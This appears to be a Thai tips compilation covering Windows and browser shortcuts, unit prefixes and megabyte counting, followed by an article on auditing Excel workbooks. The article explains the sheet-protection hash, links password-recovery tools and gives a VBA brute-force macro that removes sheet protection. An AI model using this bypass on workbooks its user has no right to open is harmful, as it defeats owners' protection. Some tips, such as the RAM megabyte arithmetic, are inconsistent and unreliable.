2. ในบาง Web Site หากคุณกด Ctrl ค้างไว้ และเลื่อน Scroll ที่ Mouse จะทำให้ตัวอักษรของ Web Site นั้นใหญ่ขึ้น
3. หากกดปุ่ม Refresh หรือ F5 แล้วยังเป็นข้อมูลเดิม ลองกด Ctrl + F5 รับรองจะได้ข้อมูลที่ใหม่ล่าสุดแน่ๆ
4. คุณสามารถเปิดไฟล์ Tips.txt ขึ้นมาเพื่ออ่านเทคนิคต่างๆ ได้ ซึ่งไฟล์นี้จะอยู่ใน c:\windows ของคุณ
5. ในระหว่างที่คุณกำหลังใช้งาน IE อยู่นั้น สามารถกดปุ่ม F4 เพื่อเป็นการเปิดดู URL List ในช่อง Address ได้เลย
6. การกดปุ่ม Esc ระหว่างการใช้ IE จะทำให้ IE ของคุณนั้นหยุดโหลดได้ โดยที่ไม่ต้องกดปุ่ม Stop
7. ระหว่างการใช้ IE สามารถกดปุ่ม Alt + D หรือ Ctrl + Tab เพื่อเข้า Address bar อย่างเร็วได้
8. คุณสามารถเพิ่มความเร็วให้กับ Internet ได้โดยทำการถอดสายเครื่องโทรศัพท์ ที่มีการต่อพ่วงอยู่กับสายที่ใช้ต่อ Internet ออก
9. คุณสามารถ ไปที่ Start -> Run และพิมพ์ว่า welcome กด Enter เพื่อเปิดหน้าต่างต้อนรับของ Windows ได้
10. ที่ Notepad หรือ ICQ หากคุณลืมเปลี่ยน Mode ภาษา ให้กดปุ่ม Ctrl + Back Space เพื่อแก้คำที่พิมพ์ผิดไปแล้ว
11. คุณสามารถ เปิด Folder Desktop อย่างรวดเร็ว โดย Start -> Run พิมพ์จุด (.) ลงไปแล้วกด Enter
12. ใน IE สามารถกด Space Bar เพื่อนเลื่อนหน้า Page ลงได้ ส่วนเลื่อนขึ้นคือ Shift + Space Bar
13. ใน Windows คุณไม่สามารถ สร้าง Folder ที่ชื่อ "con" ได้
14. ใน IE ที่ช่อง Address ปุ่ม Ctrl+Enter สามารถช่วยคุณ ในการพิมพ์ URL ได้เร็วยิ่งขึ้น
15. การกด Ctrl ค้างเอาไว้ ตอนเวลา BOOT เครื่อง จะทำให้คุณไม่พลาด Startup Menu
16. คุณสามารถปิดนาฬิกาที่ Taskbar ได้ โดยคลิกขวาที่ Task bar > Properties > เอาเครื่องหมาย Show Click ออก
17. หากคุณกด F11 ใน Windows Explorer จะช่วยให้มีการทำงานที่สะดวกขึ้น
18. ใน ICQ การส่ง Message หากคุณกด Ctrl+Enter จะสะดวก กว่าการ Click Mouse ที่ปุ่ม send
19. คุณสามารถกด F2 เพื่อ ใช้ในการเปลี่ยนชื่อ Icon ต่างๆ ได้
20. การกด F5 ใน NotePad จะเป็นการแทรก เวลา และวันที่ ปัจจุบัน
21. การกด Windows + E จะเป็นเปิด Windows Explorer ขึ้นมา
22. เปิด System Properties อย่างรวดเร็วคือการกด Window + Pause Break
23. การย่อยทุกๆ หน้าต่างที่เปิดใช้งาน ให้ยุบไปให้หมด คือการกด Window + D ถ้าจะขยายคืนมาอีก ให้กดซ้ำ
24. การเคาะวรรคในโปรแกรม Dreamweaver คือ Shift + Ctrl + Space Bar ส่วนการเว้นบรรทัดคือ Shift + Enter
25. การลบไฟล์แบบ ไม่เก็บไว้ใน Recycle Bin คือการกด Shift + Delete
26. การกด Shift ค้างไว้ เวลาใส่แผ่น CD-Rom จะเป็นการไม่ให้มันเปิด Autorun ของแผ่น CD-Rom นั้นขึ้นมา
27. การ Restart เครื่องอย่างเร็ว คือไปที่ Start -> Shut Down... -> Restart จากนั้น ก่อนที่จะ OK ให้กด Shift ค้างเอาไว้
28. ในระหว่างใช้ Browser คุณสามารถกดปุ่ม Space Bar เพื่อเลื่อนหน้าลง และ Shift + Space Bar เพื่อนเลื่อนหน้าขึ้นได้
29. กด Shift + คลิก จะเป็นการเปิดหน้าต่างขึ้นมาใหม่ โดยไม่ต้อง back กลับ
30. คุณสามารถ ไปที่ Start -> Run และพิมพ์ว่า hwinfo /ui กด Enter เพื่อดูรายงานต่างๆ ของ HardWare
ชื่อ คำอ่าน ตัวย่อ ค่า(ฐาน10) ------------------------------------------------------------------------ Atto แอตโต้ a (a ***ก) 10-18 หนึ่งส่วนล้านล้านล้าน Femto เฟมโต้ f (f ***ก) 10-15 หนึ่งพันล้านล้าน Pico พิโค p (p ***ก) 10-12 หนึ่งส่วนล้านล้าน Nano นาโน n (n ***ก) 10-9 หนึ่งส่วนพันล้าน Micro ไมโคร u (อักษรกรีกคล้ายตัว u) 10-6 หนึ่งส่วนล้าน Milli มิลลิ m (m ***ก) 10-3 หนึ่งส่วนพัน Deci เดซิ d(d ***ก) 10-1 หนึ่งส่วนสิบ Deca เดคา da(da ***ก) 10 สิบ Kilo กิโล k(k ***ก) 103 หนึ่งพัน Mega เมกะ M (M ใหญ่) 106 หนึ่งล้าน Giga กิกะ G (G ใหญ่) 109 หนึ่งพันล้าน Tera เทรา T (T ใหญ่) 1012 หนึ่งล้านล้าน Peta เพตา P (P ใหญ่) 1015 หนึ่งพันล้านล้าน Exa เอ็กซา E (E ใหญ่) 1018 หนึ่งล้านล้านล้าน
แถมด้วยเรื่องวิธีการนับเมกะไบต์ของสื่อชนิดต่างๆ ครับ
การนับเมกะไบต์ของซอฟต์แวร์ทุกชนิดครับจะนับแบบนี้ 1024 * 1024 = 1 MB
การนับเมกะไบต์ของผู้ผลิต RAM จะนับแบบนี้ 1024 * 1000 = 1 MB
การนับเมกะไบต์ของฮาร์ดดิสก์ทุกยี่ห้อ จะนับแบบนี้ 1000 * 1000 = 1 MB
ดังนั้นจำนวน 1 GB ของ 3 อย่างที่กล่าวมาจะเป็นแบบนี้ Software = 1024 * 1024 * 1024 = 1,073,741,824 B RAM = 1024 * 1024 * 1000 = 1,048,576,000 B HardDisk = 1000 * 1000 * 1000 = 1,000,000,000 B
ดังนั้น ฮาร์ดดิสก์ 80 GB ในมุมมองของ Software ก็จะได้ 1024 * 1024 * 1024 * 80 = 85,899,345,920 B
แต่ HD 80 GB จริงๆ แล้วมีแค่นี้ 1000 * 1000 * 1000 * 80 = 80,000,000,000 B
เมื่อซอฟต์แวร์มองจะมองได้แบบนี้ 80,000,000,000/(1024*1024*1024) = 74.50 GB
ดังนั้นเวลาที่เรา FDISK ไม่ต้องสงสัยว่า HD หายไปไหน ตั้ง 5 GB
Excel ถือเป็นเครื่องมือมหัศจรรย์ซึ่งช่วยสร้างมูลค่าให้กับทรัพย์สินทางปัญญาได้อย่างมหาศาล จากตารางว่างเปล่าไม่มีอะไร กลับกลายมาเป็นตารางคำนวณพร้อมใช้งาน เพียงบันทึกเปลี่ยนแปลงตัวเลขใหม่ลงไป จะพบว่า Excel ช่วยคำนวณหาผลลัพธ์ที่ต้องการได้เสร็จในพริบตา แต่กว่าจะได้ผลลัพธ์ถูกต้องได้นั้น เราต้องทุ่มเทความพยายามและความอุตสาหะ สร้างสูตรผูกต่อกันไปทีละเซลล์ เริ่มจากเซลล์แรก ขยับไปทีละเซลล์ ทีละตาราง จากเดิมซึ่งเคยใช้พื้นที่ตารางไม่กี่เซลล์ กลับกลายเป็นแฟ้มงานขนาดใหญ่ ใช้พื้นที่คำนวณหลายตาราง หลาย Sheet บ้างก็ต้องส่งค่าเพื่อคำนวณข้ามแฟ้มงาน ซึ่งถ้าลองตีค่าหาต้นทุนของแต่ละแฟ้มที่เราสร้างขึ้น จะพบว่ามีมูลค่ามิใช่น้อย อย่างบางแฟ้มซึ่งลงทุนสร้างอย่างดิบดี สามารถตีค่าต้นทุนเป็นเรือนแสนหรือล้านบาทกันทีเดียว
ในช่วงแรกที่เริ่มใช้ Excel สร้างงาน มักมีข้อมูลไม่มากนัก ใช้พื้นที่เซลล์ไม่กี่เซลล์ พอเปิดแฟ้มขึ้นมาก็ยังสามารถเห็นพื้นที่ตารางใช้งานในจอภาพได้สบายๆ ครั้นพอใช้งานต่อไปเรื่อยๆ เมื่อตารางที่สร้างขึ้นมีขอบเขตตารางเกินกว่าที่หน้าจอจะแสดงได้ครบทั้งหมด ผู้ที่ใช้แฟ้มงานนี้จะเริ่มหงุดหงิดขึ้นมาทีละน้อย ซึ่งถ้าผู้ที่เปิดแฟ้มงานมาใช้นั้น เป็นผู้ที่สร้างแฟ้มนั้นมากับมือคงพอจะเดาออกว่าเซลล์ไหนใช้ทำอะไร แต่หากเป็นคนอื่นที่ไม่คุ้นเคยกับแฟ้มนั้นมาก่อน จะรู้สึกเหมือนเปิดแผนที่โลกกางออกมาบนโต๊ะ แต่ไม่รู้จะเริ่มต้นตรงจากเซลล์ใดก่อนดี
ครั้นเวลาผ่านไปสัก 6 เดือน พอหยิบแฟ้มเดิมที่ตนเองสร้างขึ้นมากับมือเปิดขึ้นมาใช้งานอีกครั้งหนึ่ง แม้ว่าตนเองจะสร้างแฟ้มนั้นมาเองก็ตาม แต่มักพบว่าตัวเองจำไม่ได้เสียแล้วว่าอะไรเป็นอะไร พอคลิกดูสูตรที่ตนสร้างขึ้น อาจสงสัยขึ้นมาทีเดียวว่า ทำไมเมื่อ 6 เดือนที่แล้วมา เราจึงเลือกใช้สูตร Choose ทั้งๆที่ตอนนี้เราคิดว่าน่าจะใช้สูตร IF แทนดีกว่า แต่พอสร้างสูตร IF ลงไปก็พบว่า สูตร Choose เดิมนั่นแหละดีกว่าอยู่แล้ว ยิ่งตารางมีสูตรสลับซับซ้อนมากเท่าใด จะยิ่งสับสนสงสัยมากขึ้นเท่านั้น หลายๆคนอาจตัดสินใจสร้างแฟ้มงานใหม่ตั้งแต่ต้นเลยดีกว่า เพราะถ้าจะแกะสูตรเก่าที่ตนทำไว้ คงต้องใช้เวลานานกว่าการสร้างใหม่เสียอีก แต่ใครจะมั่นใจได้บ้างว่า แฟ้มงานที่ลงทุนสร้างขึ้นใหม่ จะให้คำตอบถูกต้องเช่นเดียวกับแฟ้มเดิมที่เคยใช้กันมาก่อน
ยิ่งกว่านั้น เนื่องด้วยความหวงแหนแฟ้มงานที่ตนเสียเวลาลงทุนสร้างขึ้นเองกับมือ จึงใช้คำสั่ง Protect Sheet กับ Protect Workbook ไว้ แต่กลับกลายเป็นว่า พอพิมพ์รหัสผ่านที่ตนจำได้ลงไป ไม่สามารถ Unprotect คืนกลับมาให้ใช้งานได้อย่างเดิมเสียแล้ว อาจเป็นไปได้ว่า ตนลืมรหัสที่เคยใช้ หรือตอนที่พิมพ์รหัสเพื่อ Protect คราวก่อนนั้น เผลอพิมพ์รหัสตัวเล็กเป็นตัวใหญ่ หรือไม่ได้สังเกตว่า ขณะที่พิมพ์รหัสนั้นกำลังใช้แป้นพิมพ์ภาษาใด ตนต้องทิ้งงานที่สร้างขึ้นเองมากับมือเพียงเพราะถอดรหัสที่ป้องกันไว้ไม่ได้เพียงแค่นี้เอง
ครั้นถึงคราวที่เพื่อนร่วมงานลาออกไปทำงานที่อื่น หัวหน้ามักขอให้นำแฟ้มงานของเพื่อนคนที่ลาออกไปกลับมาใช้งานต่อ นี่เป็นเพราะเสียดายเท่านั้นเอง โดยหารู้ไม่ว่า แฟ้มงานที่ตนเองนำของคนอื่นมาใช้งานต่อมีบางส่วนที่สร้างสูตรคำนวณไว้ผิด ถ้าคนที่ลาออกไปเขาจำใจต้องลาออกไปเพราะมีปัญหากับที่ทำงาน เขาอาจสร้างสูตรล่อเหยื่อไว้ก็ได้ ทำให้ช่วง 6 เดือนแรกยังคำนวณถูกต้อง ผู้ใช้งานจะได้ตายใจ แต่พอเลยระยะเวลาที่กำหนด สูตรที่เขาสร้างไว้จะเริ่มแผลงฤทธิ์ ถ้าเปิดแฟ้มของเขาขึ้นมาใช้งานในช่วงเวลา 5-6 โมงเย็น สูตรที่เขาวางยาไว้จะให้คำตอบผิดเพี้ยนไปจากเดิม
ขั้นตอนการแกะแฟ้มโดยทั่วไป
- จัดทำสำเนาแฟ้มต้นฉบับเก็บไว้ และพยายาม Save ผลจาการแกะแต่ละขั้นเก็บเป็นแฟ้มชื่อใหม่
- สั่ง Tools > Protection > Unprotect Workbook / Sheet
- สั่ง Format > Sheet > Unhide เพื่อเปิด Sheet ที่อาจซ่อนไว้ออกมาให้เห็นครบทั้งหมด
- ในแต่ละ Sheet ให้เลือกตารางทั้งหมดแล้วคลิกขวา สั่ง Unhide หรือจะสั่ง Format > Row/Column > Unhide เพื่อเลิกการซ่อน Row และ Column
- เปลี่ยนรูปแบบในแต่ละเซลล์ให้เป็น General โดยสั่ง Format > Cells > Number > Type > General
- เปลี่ยนสีตัวอักษรเป็นสีดำและสีพื้นให้เป็นสีขาว เพื่อแสดงค่าที่บันทึกให้เห็นทั้งหมด
- เลิกกำหนดให้ค่าในเซลล์ชิดซ้าย ชิดขวา หรืออยู่กลางเซลล์ เพื่อให้เห็นตัวเลขชิดขวา และตัวอักษรชิดซ้ายตามปกติ
- ในแต่ละ Sheet ให้ตรวจสอบคำสั่ง Tools > Options > Transition ว่าไม่ได้กาช่อง Transition formula evaluation เพื่อเลิกใช้ตัวอักษรในการคำนวณ และจะได้เห็นค่า Error ถ้ามีสูตรคำนวณเกี่ยวข้องกับตัวอักษร
- กดปุ่ม F5 > Special แล้วเลือกค้นหาข้อมูลประเภทต่างๆ แล้วเปลี่ยนสีเซลล์ให้เห็นกลุ่มข้อมูลประเภทต่างๆแยกออกจากกัน
- สำหรับเซลล์ที่เป็นสูตร ใช้คำสั่ง Tools > Auditing หรือ Formula Auditing เพื่อค้นหาและทำแผนที่เซลล์ต้นทางหรือปลายทางในการส่งค่าต่อเนื่อง
- ถ้าเมนู Edit > Links ทำงานได้ แสดงว่ามีสูตร Link ข้ามแฟ้ม ให้ค้นหาชื่อแฟ้มต้นทางว่าอยู่ในเซลล์ใด โดยสั่ง Edit > Find > ชื่อแฟ้มต้นทาง ทั้งนี้อาจมีสูตร Link ซ่อนอยู่ในเมนู Insert > Name > Define, Format > Conditional Formatting, Data > Validation, หรือเป็น Macro ที่ Assigned ให้กับปุ่ม
- สั่ง Tools > Options > View > Formulas เพื่อแสดงสูตรในแต่ละเซลล์แล้วสั่งพิมพ์
วิธีถอดรหัสป้องกัน Workbook และ Sheet
ก่อนอื่นต้องขอทำความเข้าใจเรื่องกฎหมายลิขสิทธิ์โปรแกรมคอมพิวเตอร์กันก่อนว่า แฟ้มที่เราจะนำมาถอดรหัสป้องกันนั้น ต้องเป็นแฟ้มงานของคุณเอง หรือเป็นแฟ้มที่คุณมีสิทธิ์เป็นเจ้าของตามกฎหมาย หรือเป็นแฟ้มที่เจ้าของเขาไม่หวงห้าม ซึ่งตามกฎหมายกำหนดว่า งานใดที่ผู้สร้างสรรค์ที่เป็นลูกจ้างสร้างขึ้นโดยใช้คอมพิวเตอร์ งานนั้นให้ผู้สร้างสรรค์เป็นเจ้าของ แต่เจ้าของบริษัทผู้ว่าจ้างมีสิทธิ์นำแฟ้มงานไปเผยแพร่ได้ ส่วนขอบเขตและความหมายของการนำไปเผยแพร่จะเป็นอย่างไรนั้น เห็นทีจะต้องขอความเห็นของนักกฎหมาย ซึ่งเท่าที่เห็นปฏิบัติกันนั้น ผู้ว่าจ้างมักกำหนดในสัญญาว่าจ้างกันไว้ก่อนเลยทีเดียวว่า งานใดที่พนักงานสร้างขึ้นโดยใช้โปรแกรมคอมพิวเตอร์ พนักงานให้สิทธิแก่บริษัทผู้ว่าจ้างมีสิทธิ์ใช้งานเช่นเดียวกับพนักงาน
โปรแกรมที่ใช้ถอดรหัสป้องกันแฟ้มงานหรือที่เรียกกันว่า โปรแกรม Password Recovery นั้น ปัจจุบันเปิดให้ Download จากอินเตอร์เน็ตจากรายชื่อเว็บต่อไปนี้ นำมาใช้ถอดรหัสที่ยาว 2-3 ตัวอักษรได้ฟรี แต่ถ้ารหัสยาวกว่านั้น จำต้องจ่ายเงินซื้อโปรแกรมถอดรหัสมาใช้กัน เว็บบางแห่งจะรับบริการถอดรหัสให้โดยคิดค่าบริการเพียงเล็กน้อย อาทิเช่น
- AccessData
http://www.accessdata.com/
- Crak Software
http://www.crak.com/
- Elcomsoft
http://www.elcomsoft.com/ae97pr.html
- Erlandsen Data Consulting
http://www.erlandsendata.no/english/downloads/tools.htm
- Excel Key
http://www.lostpassword.com/excel.htm
- Excel Password Remover
http://www.elkraft.ntnu.no/~huse/xlpassword.htm
- Fast Data Recovery Lab
http://www.fdrlab.com/
- Intertek
http://www.intertek.org.uk/
- MSOfPass97
http://www.lostpassword.com/msofpass97.htm
- Password Crackers Inc.
http://www.pwcrack.com/
- PWD Service
http://www.pwdservice.com/
- PW Finder
http://www.pwfinder.com/
การถอดรหัสโดยทั่วไปแบ่งออกเป็น 2 ระดับ กล่าวคือ
- รหัสป้องกันการเปิดแฟ้ม ซึ่งใช้ในการเปิดแฟ้มขึ้นใช้งาน ถ้าใส่รหัสผิด จะไม่มีทางเปิดแฟ้มขึ้นใช้งานเลยทีเดียว รหัสระดับนี้ถือเป็นรหัสที่ถอดได้ยากที่สุด เนื่องจากบริษัทไมโครซอฟท์ใช้เทคโนโลยีขั้นสูงและเป็นความลับ เปิดเผยแต่เพียงว่าใช้วิธีสลายตัวรหัสเข้ากับเนื้อหาของแฟ้ม ทำให้ไม่สามารถใช้โปรแกรม Editor ใดค้นหาตัวรหัสได้เลย ทำให้โปรแกรมถอดรหัสต้องใช้วิธีที่เรียกว่า Brutal Force สุ่มรหัสทีละตำแหน่งทีละตัวอักษรหรือตัวเลขไปเรื่อยๆ อาจใช้เวลาเป็นวันกว่าจะสุ่มเจอรหัสป้องกัน
- รหัสป้องกันการแก้ไข Workbook หรือแก้ไข Sheet เทคนิคการใช้รหัสระดับนี้สามารถค้นหารายละเอียดได้จาก chicago.sourceforge.net/devel/docs/excel/encrypt.html และสามารถใช้ VBA ช่วยในการถอดรหัสได้ไม่ยากนัก โดยเฉพาะโปรแกรม Excel Password Remover จาก http://www.elkraft.ntnu.no/~huse/xlpassword.htm เปิดให้ Download Password.xla นำมาใช้ถอดรหัสได้ฟรี
วิธีใช้ Excel Password Remover (Password.xla)
- Unzip นำแฟ้ม Add-In ชื่อ Password.xla มาเก็บไว้ที่ Folder ใดก็ได้
- เปิด Excel แล้วสั่ง Tools > Add-Ins > Browse ค้นหาและเลือกชื่อแฟ้ม Password.xla จากนั้นกดปุ่ม OK จะพบว่า Password remover ปรากฏอยู่ในรายชื่อ Add-Ins Available และถูกกาไว้
- กดปุ่ม OK เพื่อเสร็จขั้นตอนการ Load Add-Ins ขึ้นมาใช้งานในเครื่อง PC นั้นๆ จะพบหน้าจอของ Password remover เปิดขึ้น แสดงว่าพร้อมใช้งานแล้ว ให้กดปุ่ม OK
- เปิดแฟ้มที่ต้องการถอดรหัส จากนั้นสั่ง Tools > Unprotect Sheet หรือ Unprotect Workbook ซึ่งในขณะที่โปรแกรมกำลังพยายามถอดรหัสอยู่นั้น จะมีระยะเวลาที่ใช้แสดงขึ้นตรงหัวมุมซ้ายล่างของจอ
- รอสักพัก อาจจะนานหรือเร็วขึ้นกับรหัสผ่านที่กำหนดยาวหรือสั้น เมื่อโปรแกรมถอดรหัสเสร็จแล้วจะเปิดหน้าจอขึ้นมาบอกว่าเสร็จแล้ว ให้กด OK เพื่อทำงานอื่นต่อไป

เทคนิคที่ใช้ในการกำหนดรหัสรหัสป้องกันในระดับ Workbook และ Sheet ข้อมูลจาก chicago.sourceforge.net/devel/docs/excel/encrypt.html
Workbook Encryption The 1Table structure contains three 16 byte numbers:
- A random salt.
- An MD5 hashed nonce, encrypted using RC4 with a key (K). This encrypted hash is stored as a second 16 byte number in 1Table.
- The nonce is encrypted using key (K) and MD5 hashed then stored as a third 16 byte number in 1Table.
The key (K) is calculated in the following way:
- The password (expressed in Unicode) is MD5 hashed.
- The first five bytes of the password hash are put into an array with the 1st 16 byte number (the salt) stored in the 1Table structure.
- The salt is repeatedly concatenated with the password and then padded according to the MD5 algorithm.
- The MD5 hash is taken.
- The first five bytes of this hash are saved and then padded and MD5 hashed again.
- The first five bytes of this hash along with a counter byte become the RC4 key for encrypting/decrypting the document.
The counter periodically re-keys the RC4 engine by incrementing the counter byte modulo 8. This key is first MD5 hashed before RC4 key scheduling. This hash is the key (K). There is a better way to recover the document. This is to recover the five byte value which is the document key, add the counter byte and decrypt the document.
Worksheet Protection When an Excel sheet is being protected with a password, a 16-bit (two byte) long hash is generated. To verify a password, it is compared to the hash. Obviously, if the input data volume is great, numerous passwords will match the same hash. This can be easily reproduced:
Protect a sheet (Tools-Protection-Protect Sheet) with the password "test" (no quotes) Unprotect it with the password "zzyw" (again no quotes)
Here is the algorithm to create the hash value:
- take the ASCII values of all characters shift left the first character 1 bit, the second 2 bits and so on (use only the lower 15 bits and rotate all higher bits, the highest bit of the 16-bit value is always 0 [signed short])
- XOR all these values
- XOR the count of characters
- XOR the constant 0xCE4B
Example: The password is abcdefghij (10 characters)
- a -> 0x61 << 1 == 0x00C2
- b -> 0x62 << 2 == 0x0188
- c -> 0x63 << 3 == 0x0318
- d -> 0x64 << 4 == 0x0640
- e -> 0x65 << 5 == 0x0CA0
- f -> 0x66 << 6 == 0x1980
- g -> 0x67 << 7 == 0x3380
- h -> 0x68 << 8 == 0x6800
- i -> 0x69 << 9 == 0x5201 (unrotated: 0xD200)
- j -> 0x6A << 10 == 0x2803 (unrotated: 0x1A800)
Sub PasswordBreaker() 'Author unknown but submitted by brettdj of www.experts-exchange.com
Dim i As Integer, j As Integer, k As Integer Dim l As Integer, m As Integer, n As Integer Dim i1 As Integer, i2 As Integer, i3 As Integer Dim i4 As Integer, i5 As Integer, i6 As Integer On Error Resume Next For i = 65 To 66: For j = 65 To 66: For k = 65 To 66 For l = 65 To 66: For m = 65 To 66: For i1 = 65 To 66 For i2 = 65 To 66: For i3 = 65 To 66: For i4 = 65 To 66 For i5 = 65 To 66: For i6 = 65 To 66: For n = 32 To 126
ActiveSheet.Unprotect Chr(i) & Chr(j) & Chr(k) & _ Chr(l) & Chr(m) & Chr(i1) & Chr(i2) & Chr(i3) & _ Chr(i4) & Chr(i5) & Chr(i6) & Chr(n)
If ActiveSheet.ProtectContents = False Then
MsgBox "One usable password is " & Chr(i) & Chr(j) & _ Chr(k) & Chr(l) & Chr(m) & Chr(i1) & Chr(i2) & _ Chr(i3) & Chr(i4) & Chr(i5) & Chr(i6) & Chr(n)
ActiveWorkbook.Sheets(1).Select
Range("a1").FormulaR1C1 = Chr(i) & Chr(j) & _ Chr(k) & Chr(l) & Chr(m) & Chr(i1) & Chr(i2) & _ Chr(i3) & Chr(i4) & Chr(i5) & Chr(i6) & Chr(n) Exit Sub
End If Next: Next: Next: Next: Next: Next Next: Next: Next: Next: Next: Next End Sub
สิ่งที่แปลกในการถอดรหัสป้องกัน Sheet ก็คือ ถ้าเราใช้รหัส test เพื่อป้องกัน แต่สามารถใช้รหัส zzyw เพื่อถอดรหัสได้อีกรหัสหนึ่ง
วิธีเผยโฉม Sheet ที่ซ่อนไว้แบบสุดๆ
ตามปกติคำสั่งบนเมนู Format > Sheet > Hide จะช่วยซ่อน Sheet และใช้คำสั่ง Format > Sheet > Unhide เพื่อเลือกเปิดเผย Sheet ที่ถูกซ่อนอยู่ แต่รายชื่อ Sheet ซึ่งแสดงให้เห็นอยู่นั้นอาจไม่ใช่ Sheet ทั้งหมดที่ถูกซ่อนอยู่ก็ได้ เนื่องจากแต่ละ Sheet ยังถูกซ่อนแบบสุดๆได้อีกวิธีหนึ่งโดยผ่านโปรแกรม Visual Basic Editor
- เปิดแฟ้มที่ต้องการตรวจสอบและ Unhide Sheet ขึ้นมาในโปรแกรม Excel
- กดปุ่ม Alt+F11 เพื่อเปิดโปรแกรม Visual Basic Editor (VBE) ซึ่งตามปกติจะถูกติดตั้งพร้อมกับโปรแกรม Excel อยู่แล้ว เพียงแต่ไม่แสดงตัวให้เห็น
- ถ้าเปิดขึ้นมาแล้วไม่เห็นหน้า Windows ตามภาพข้างต้นแสดงขึ้นทางด้านซ้ายของจอ ให้ใช้เมนูของโปรแกรม Visual Basic Editor สั่ง View > Project Explorer และ View > Properties Window จะพบรายชื่อแฟ้ม Excel แสดงอยู่ใน Project Explorer
- ใน Project Explorer ซึ่งแสดงรายชื่อแฟ้มอยู่นั้น ให้คลิกที่เครื่องหมายบวกด้านหน้าของชื่อแฟ้มเพื่อเปิดดูโครงสร้างภายในว่าประกอบด้วย Sheet ชื่อใดบ้าง
- ใน Project Explorer ให้คลิกชื่อ Sheet จะพบว่า Properties Window ด้านล่างแสดงคุณสมบัติของ Sheet ที่ถูกคลิกเลือก
- ใน Properties Window ให้คลิกลงไปในช่องด้านขวาของ Visible Property เพื่อเปลี่ยนจาก xlSheetVeryHidden กลับมาเป็น xlSheetVisible
- กดปุ่ม Alt+F11 เพื่อกลับมายังโปรแกรม Excel จะพบว่าแฟ้มที่เปิดอยู่นั้นมี Sheet ที่ถูกซ่อนไว้แบบสุดๆ เปิดเผยตัวกลับมาเห็นเช่นเดิม
หมายเหตุ
- นอกจากนี้ยังมีวิธีลัดเพื่อเข้าสู่โปรแกรม Visual Basic Editor (VBE) โดยคลิกขวาที่ Sheet Tab > View Code
- ใน Properties Window ควรสังเกตช่อง ScrollArea Property ด้วยว่าไม่ได้ระบุตำแหน่งเซลล์ใดไว้ เพื่อทำให้สามารถใช้ Scroll Bar เลื่อนย้ายตำแหน่งพื้นที่แสดงบนจอได้ตามปกติ ยกตัวอย่างเช่น ถ้าระบุ ScrollArea ไว้เป็น $A$1:$A$5 จะทำให้เราไม่สามารถขยับ Scroll Bar และไม่สามารถคลิกหรือใช้แป้นพิมพ์เลือกเซลล์นอกเหนือจากบริเวณเซลล์ A1:A5 ได้เลย
สำหรับผู้ที่คุ้นเคยกับการใช้โปรแกรม Excel VBA ควรเขียนรหัสต่อไปนี้เพื่อใช้ซ่อน Sheet แบบ VeryHidden และเปิดเผย Sheet ทั้งหมดทั้งที่ซ่อนไว้ทั้งหมด
Sub ActiveSheetVeryHidden()
On Error Resume Next ActiveSheet.Visible = xlVeryHidden
End Sub
Sub UnhideAllSheets()
On Error Resume Next For Each ThisSheet In ActiveWorkbook.Sheets ThisSheet.Visible = True Next ThisSheet
End Sub
จงอย่าเชื่อในสิ่งที่มองเห็น
ประโยคหัวข้อข้างบนนี้จะสมบูรณ์ขึ้นหากเขียนเสียใหม่ว่า จงอย่าเชื่อในสิ่งที่มองเห็น และจงอย่ามองข้ามสิ่งที่มองไม่เห็น เนื่องจากเราสามารถทำให้ข้อมูลที่บันทึกไว้ในเซลล์หรือผลคำนวณซึ่งควรจะแสดงได้อย่างถูกต้อง กลับหายตัวไปหรือกลายเป็นค่าอื่น เช่น จากเดิมในเซลล์มีตัวเลขที่บันทึกลงไปเป็นเลข 123 แต่กลับแสดงค่าออกมาเป็นเลข 999 หรือแสดงเป็นค่าอื่นได้ตามแต่จะกำหนด
- ถ้า Sheet ถูก Protect อยู่ ขอให้สั่ง Tools > Protection > Unprotect Sheet เสียก่อน เพื่อเปิดเผยเซลล์ที่ซ่อนไว้แบบ Hidden จากคำสั่ง Format > Cells > Protection > Hidden ซึ่งกันไม่ให้ Formula Bar แสดงค่าที่อยู่ภายในเซลล์
- สั่ง Tools > Options > View > กาช่อง Row & column header เพื่อแสดงหัวตาราง แล้วตรวจสอบว่า Row และ Column เรียงต่อเนื่องกันหรือไม่ ถ้าพบว่าขาดหายไปให้สั่ง Format > Row > Unhide และ Format > Column > Unhide ทั้งนี้จงอย่ารีบเชื่อว่า Row และ Column ที่เห็นในตอนแรกที่เปิดแฟ้มเป็น Row และ Column ของจริง เพราะอาจเป็นแค่ภาพ Row หรือ Column Header ที่ถูกสร้างขึ้นเลียนแบบหัวตารางของจริงก็ได้
- สำหรับบาง Sheet ซึ่งไม่ได้ใช้วิธี Hide Sheet แต่ใช้วิธีสร้าง Outline เพื่อจัดลำดับการซ่อน Row หรือ Column เป็นชั้นๆตามลำดับการคำนวณ ให้คลิกปุ่ม Show Outline Symbol บน Expert1 Toolbar เพื่อเปิดให้เห็นโครงสร้างของ Outline (ถ้ามี)
 Expert1 Toolbar เป็นเมนูซึ่งติดตั้งเพิ่มเติมโดยใช้ Add-in ชื่อ Expert2000.xla สามารถ Download ฟรีได้จาก www.ExcelExpertTraining.com ส่วนผู้ที่เข้าอบรมหลักสูตรสุดยอดเคล็ดลับและลัดของ Excel ภาค 2 จะได้รับ Add-in ชื่อ Expert2004.xla
- เลือกเซลล์ใดเซลล์หนึ่งซึ่งมีความหมายเท่ากับเปิดโอกาสให้เลือกทั้งตาราง หรือจะเลือกพื้นที่ตารางเฉพาะส่วนที่ต้องการก็ได้ จากนั้นกดปุ่ม F5 > Special แล้วเลือกกาประเภทของข้อมูลที่ต้องการค้นหา หากต้องการค้นหาซ้ำให้กดปุ่ม F4 เพื่อทวนคำสั่งซ้ำ เมื่อเซลล์ข้อมูลประเภทที่ต้องการถูกเลือกแล้ว ควรเทสีพื้นลงไปในเซลล์หรือเปลี่ยนสีตัวอักษรให้เห็นแตกต่างกัน เช่น เซลล์ตัวเลขใช้พื้นเซลล์สีเหลือง เซลล์ตัวอักษรใช้พื้นเซลล์สีเขียว เซลล์สูตรใช้พื้นเซลล์สีฟ้า ทั้งนี้ควรเลือกเทสีพื้นก่อนการเลือกเปลี่ยนสี Font เนื่องจากวิธีเปลี่ยนสี Font อาจไม่สามารถเปิดเผยค่าทั้งหมดที่ถูกซ่อนไว้โดยใช้วิชาล่องหน
